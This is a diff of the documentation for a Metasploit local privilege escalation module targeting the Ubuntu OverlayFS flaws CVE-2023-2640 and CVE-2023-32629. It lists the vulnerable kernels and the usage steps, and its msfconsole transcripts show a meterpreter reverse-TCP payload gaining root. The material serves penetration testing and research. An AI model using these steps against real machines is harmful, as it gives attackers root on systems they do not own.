11## Description
22
3- CVE-2023 -2640 and CVE-2023 -32629 are vunerabilites that allow for the arbitrary setting of
3+ CVE-2023 -2640 and CVE-2023 -32629 are vulnerabilities that allow for the arbitrary setting of
44capabilities while overlaying filesystems. On most Linux Kernels during the execution of
55 ` ovl_do_setxattr ` an intermediate function ` vfs_setxatrr ` converts file capabilities in a
6- way that limits them to the current namesapce . However, on some versions of the Ubuntu kernel
6+ way that limits them to the current namespace . However, on some versions of the Ubuntu kernel
77 ` _vfs_setxattr_noperm ` is called directly without calling ` vfs_setxattr ` .
88
99When a new namespace is created the user will technically be "root" within that given
10- namespace. This module will take advantage of this by setting the ` CAP_SETUID ` capability
10+ namespace. This module will take advantage of this by setting the ` CAP_SETUID ` capability
1111on a system binary. It will then perform filesystem overlay, copying the binary into the lower
12- directory. Because of the flaws described above when the binary is transfered into the upper
13- directory it's capabilities will not be sanitized and persist in the "normal" namespace.
12+ directory. Because of the flaws described above when the binary is transferred into the upper
13+ directory its capabilities will not be sanitized and persist in the "normal" namespace.
1414
1515## Vunerable Application
1616
17- These vunerabilities are somewhat unique in that they effect a wide variety of Ubuntu releases
17+ These vulnerabilities are somewhat unique in that they effect a wide variety of Ubuntu releases
1818and kernel versions, as described in the list below.
1919
2020Ubuntu 23.04 (Lunar Lobster)m kernel 6.2.0, (CVE-2023 -2640 & CVE-2023 -32629)
@@ -29,17 +29,17 @@ Ubuntu 20.04 LTS (Focal Fossa), kernel -> 5.4.0, (CVE-2023-32629)
2929
3030Ubuntu 18.04 LTS (Bionic Beaver), kernel -> 5.4.0, (CVE-2023 -32629)
3131
32- The user can download a vunerable version, for example:
32+ The user can download a vulnerable version, for example:
3333
3434```
3535sudo apt update
3636sudo apt install -y linux-image-5.19.0-41-generic linux-headers-5.19.0-41-generic
3737reboot
3838```
39- While testing @bwatters7 mentioned taking the system Be sure to take the system offline to
40- prevent the vunerabilities from silently being patched.
39+ While testing, @bwatters7 mentioned taking the system offline as this appears to be patched automatically.
40+ Be sure to take the system offline to prevent the vulnerabilities from silently being patched.
4141
42- This module has succesfully been tested on the following:
42+ This module has successfully been tested on the following:
4343
4444Ubuntu 22.04 LTS (Jammy Jellyfish) 5.19.0-41-generic
4545
@@ -49,11 +49,11 @@ Ubuntu 20.04 LTS (Focal Fossa) 5.4.0-1018-aws
4949
50501). Start ` msfconsole `
5151
52- 2). Get a session on a vunerable system
52+ 2). Get a session on a vulnerable system
5353
54543). Use ` exploit/linux/local/gameoverlay_privesc `
5555
56- 4). Optional: choose target for payload, either system command (1 ) or payload (2 )
56+ 4). Optional: choose target for payload, either linux binary (0 ) or [ li|u ] nix command (1 )
5757` set target 1 `
5858
59595). Set session ` set session [SESSION] `
@@ -65,42 +65,38 @@ Ubuntu 20.04 LTS (Focal Fossa) 5.4.0-1018-aws
6565## Options
6666
6767### Payload File Name
68- Name of the file storing the payload, default is ` marv ` .
68+ Name of the file storing the payload, default is random .
6969
7070### Writable Dir
71- The name of a directory with write permissions, defualt is ` /tmp ` . This will be where the
72- payload file will be created. Additionally during the exploit a series of directories will be
71+ The name of a directory with write permissions, default is ` /tmp ` . This will be where the
72+ payload file will be created if necessary . Additionally during the exploit a series of directories will be
7373created here to perform the filesystem overlaying.
7474
7575## Scenarios
7676
7777You have a non-root session on one of the systems described above. Please note that this
78- module will automatically run checks to determine if the system is vunerable , you can disable
78+ module will automatically run checks to determine if the system is vulnerable , you can disable
7979this with ` set AutoCheck False ` .
8080
8181```
82- > use exploit/linux/local/gameoverlay_privesc
83- [*] No payload configured, defaulting to linux/aarch64/meterpreter/reverse_tcp
84- msf6 exploit(linux/local/gameoverlay_privesc) > set session 1
85- session => 1
86- msf6 exploit(linux/local/gameoverlay_privesc) > set target 0
87- target => 0
88- msf6 exploit(linux/local/gameoverlay_privesc) > set payload linux/aarch64/meterpreter_reverse_tcp
89- payload => linux/aarch64/meterpreter_reverse_tcp
90- msf6 exploit(linux/local/gameoverlay_privesc) > set lhost 10.5.135.201
91- lhost => 10.5.135.201
82+ msf6 exploit(linux/local/gameoverlay_privesc) >
83+ [*] Sending stage (3045380 bytes) to 10.5.132.129
84+ [*] Meterpreter session 3 opened (10.5.135.201:4585 -> 10.5.132.129:33504) at 2024-12-18 14:02:15 -0600
85+
86+ msf6 exploit(linux/local/gameoverlay_privesc) > set session 3
87+ session => 3
9288msf6 exploit(linux/local/gameoverlay_privesc) > show options
9389
9490Module options (exploit/linux/local/gameoverlay_privesc):
9591
9692 Name Current Setting Required Description
9793 ---- --------------- -------- -----------
98- PayloadFileName pVmtuGOGXdO yes Name of payload
99- SESSION 1 yes The session to run this module on
94+ PayloadFileName pSueaCXrnzH yes Name of payload
95+ SESSION 3 yes The session to run this module on
10096 WritableDir /tmp yes A directory where we can write files
10197
10298
103- Payload options (linux/aarch64/meterpreter_reverse_tcp ):
99+ Payload options (linux/x64/meterpreter/reverse_tcp ):
104100
105101 Name Current Setting Required Description
106102 ---- --------------- -------- -----------
@@ -120,29 +116,42 @@ View the full module info with the info, or info -d command.
120116
121117msf6 exploit(linux/local/gameoverlay_privesc) > run
122118
123- [*] Started reverse TCP handler on 10.5.135.201:4444
119+ [*] Started reverse TCP handler on 10.5.135.201:4444
124120[*] Running automatic check ("set AutoCheck false" to disable)
125121[*] Detected Ubuntu version: Jammy Jellyfish
126122[*] Detected kernel version: 5.19.0-41-generic
127123[+] The target is vulnerable. Jammy Jellyfish with 5.19.0-41-generic kernel is vunerable
128- [*] Creating directory /tmp/UqNFkc/
129- [*] Creating directory /tmp/UqNFkc/QKZiqWWsnSOz/
130- [*] Creating directory /tmp/UqNFkc/WbrucZxIAlWZF/
131- [*] Creating directory /tmp/UqNFkc/uKmqunqY/
132- [*] Creating directory /tmp/UqNFkc/pwFUmC/
133- [*] Writing payload: /tmp/UqNFkc/pVmtuGOGXdO
134- [*] Starting new namespace, and running exploit...
135- [+] Deleted /tmp/UqNFkc/
136- [*] Meterpreter session 2 opened (10.5.135.201:4444 -> 10.5.132.149:49168) at 2024-10-02 16:28:43 -0500
137- [*]
124+ [*] Creating directory to store payload: /tmp/ODBpneOXk/
125+ [*] Creating directory /tmp/ODBpneOXk/
126+ [*] /tmp/ODBpneOXk/ created
127+ [*] Creating directory /tmp/ODBpneOXk/
128+ [*] Creating directory /tmp/ODBpneOXk/
129+ [*] /tmp/ODBpneOXk/ created
130+ [*] Creating directory /tmp/ODBpneOXk/bmbtPAX/
131+ [*] Creating directory /tmp/ODBpneOXk/bmbtPAX/
132+ [*] /tmp/ODBpneOXk/bmbtPAX/ created
133+ [*] Creating directory /tmp/ODBpneOXk/JtNbwLXJKw/
134+ [*] Creating directory /tmp/ODBpneOXk/JtNbwLXJKw/
135+ [*] /tmp/ODBpneOXk/JtNbwLXJKw/ created
136+ [*] Creating directory /tmp/ODBpneOXk/hEhbByWL/
137+ [*] Creating directory /tmp/ODBpneOXk/hEhbByWL/
138+ [*] /tmp/ODBpneOXk/hEhbByWL/ created
139+ [*] Creating directory /tmp/ODBpneOXk/yvvSFre/
140+ [*] Creating directory /tmp/ODBpneOXk/yvvSFre/
141+ [*] /tmp/ODBpneOXk/yvvSFre/ created
142+ [*] Writing payload: /tmp/ODBpneOXk/pSueaCXrnzH
143+ [*] Transmitting intermediate stager...(126 bytes)
144+ [*] Sending stage (3045380 bytes) to 10.5.132.129
145+ [*] rm: cannot remove '/tmp/ODBpneOXk/yvvSFre/': Device or resource busy
146+ [*] Meterpreter session 4 opened (10.5.135.201:4444 -> 10.5.132.129:44400) at 2024-12-18 14:02:42 -0600
138147
139- meterpreter > sysinfo
140- Computer : 10.5.132.149
141- OS : Ubuntu 22.04 (Linux 5.19.0-41-generic)
142- Architecture : aarch64
143- BuildTuple : aarch64-linux-musl
144- Meterpreter : aarch64/linux
145148meterpreter > getuid
146149Server username: root
147- meterpreter >
150+ meterpreter > sysinfo
151+ Computer : 10.5.132.129
152+ OS : Ubuntu 22.04 (Linux 5.19.0-41-generic)
153+ Architecture : x64
154+ BuildTuple : x86_64-linux-musl
155+ Meterpreter : x64/linux
156+
148157```
0 commit comments